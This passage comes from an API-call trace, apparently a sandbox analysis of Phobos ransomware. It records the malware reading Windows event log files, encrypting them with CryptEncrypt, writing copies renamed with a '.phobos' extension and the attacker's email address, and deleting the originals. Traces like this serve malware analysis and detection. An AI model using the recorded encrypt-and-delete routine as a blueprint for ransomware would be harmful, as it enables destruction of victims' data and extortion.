dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0057.552] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0057.552] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0057.552] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cbb0) returned 1 [0057.552] CryptSetKeyParam (hKey=0x10cbb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0057.553] ReadFile (in: hFile=0x33c, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0057.554] CryptEncrypt (in: hKey=0x10cbb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0057.554] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0057.556] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cfb0) returned 1 [0057.556] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0057.556] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80, dwBufLen=0x80 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80) returned 1 [0057.556] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0057.556] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x132, lpOverlapped=0x0) returned 1 [0057.556] CryptDestroyKey (hKey=0x10cbb0) returned 1 [0057.556] CloseHandle (hObject=0x33c) returned 1 [0057.556] CloseHandle (hObject=0x324) returned 1 [0057.558] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Client-Licensing-Platform%4Admin.evtx" (normalized: "c:\\logs\\microsoft-client-licensing-platform%4admin.evtx")) returned 1 [0057.559] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0057.559] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0057.559] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0057.559] CloseHandle (hObject=0x324) returned 1 [0057.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 0x20 [0057.559] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.559] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0057.559] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0057.559] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0057.559] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0057.560] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ceb0) returned 1 [0057.560] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0057.560] ReadFile (in: hFile=0x324, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0057.562] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0057.563] WriteFile (in: hFile=0x33c, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0057.564] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cdf0) returned 1 [0057.564] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0057.564] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80, dwBufLen=0x80 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80) returned 1 [0057.564] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0057.564] WriteFile (in: hFile=0x33c, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x132, lpOverlapped=0x0) returned 1 [0057.564] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0057.565] CloseHandle (hObject=0x324) returned 1 [0057.565] CloseHandle (hObject=0x33c) returned 1 [0057.566] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1 [0057.568] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0057.568] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0057.568] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0057.568] CloseHandle (hObject=0x33c) returned 1 [0057.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 0x20 [0057.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.568] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0057.568] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0057.568] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0057.568] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0057.569] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ccb0) returned 1 [0057.569] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0057.569] ReadFile (in: hFile=0x33c, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0057.572] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0057.572] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0057.574] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10caf0) returned 1 [0057.574] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0057.574] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90, dwBufLen=0x90 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90) returned 1 [0057.574] CryptDestroyKey (hKey=0x10caf0) returned 1 [0057.574] WriteFile (in: hFile=0x324, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x142, lpOverlapped=0x0) returned 1 [0057.574] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0057.574] CloseHandle (hObject=0x33c) returned 1 [0057.574] CloseHandle (hObject=0x324) returned 1 [0057.576] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4MSI and Script.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4msi and script.evtx")) returned 1 [0057.578] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0057.578] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0057.578] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0057.578] CloseHandle (hObject=0x324) returned 1 [0057.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 0x20 [0057.578] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.578] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0057.578] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0057.578] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0057.578] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0057.579] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cdf0) returned 1 [0057.579] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0057.579] ReadFile (in: hFile=0x324, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0057.582] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0057.582] WriteFile (in: hFile=0x33c, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0057.584] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10caf0) returned 1 [0057.584] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0057.584] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xa0, dwBufLen=0xa0 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xa0) returned 1 [0057.584] CryptDestroyKey (hKey=0x10caf0) returned 1 [0057.584] WriteFile (in: hFile=0x33c, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x152, lpOverlapped=0x0) returned 1 [0057.584] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0057.584] CloseHandle (hObject=0x324) returned 1 [0057.584] CloseHandle (hObject=0x33c) returned 1 [0057.587] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-deployment.evtx")) returned 1 [0057.588] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0057.588] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0057.589] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0057.589] CloseHandle (hObject=0x33c) returned 1 [0057.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20 [0057.589] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.589] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0057.589] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0057.589] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0057.589] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0058.248] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ccb0) returned 1 [0058.248] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0058.248] ReadFile (in: hFile=0x33c, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0058.251] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0058.251] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0058.254] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10d170) returned 1 [0058.254] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0058.254] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xa0, dwBufLen=0xa0 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xa0) returned 1 [0058.254] CryptDestroyKey (hKey=0x10d170) returned 1 [0058.254] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x152, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x152, lpOverlapped=0x0) returned 1 [0058.254] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0058.254] CloseHandle (hObject=0x33c) returned 1 [0058.254] CloseHandle (hObject=0x320) returned 1 [0058.257] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1 [0058.258] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0058.259] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0058.259] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0058.259] CloseHandle (hObject=0x320) returned 1 [0058.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 0x20 [0058.259] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.259] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0058.259] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0058.259] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0058.259] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0058.260] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ce30) returned 1 [0058.260] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0058.260] ReadFile (in: hFile=0x320, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0058.273] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0058.273] WriteFile (in: hFile=0x33c, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0058.275] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10ccf0) returned 1 [0058.275] CryptSetKeyParam (hKey=0x10ccf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0058.275] CryptEncrypt (in: hKey=0x10ccf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80, dwBufLen=0x80 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80) returned 1 [0058.275] CryptDestroyKey (hKey=0x10ccf0) returned 1 [0058.275] WriteFile (in: hFile=0x33c, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x132, lpOverlapped=0x0) returned 1 [0058.275] CryptDestroyKey (hKey=0x10ce30) returned 1 [0058.275] CloseHandle (hObject=0x320) returned 1 [0058.275] CloseHandle (hObject=0x33c) returned 1 [0058.277] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx")) returned 1 [0058.279] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0058.279] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 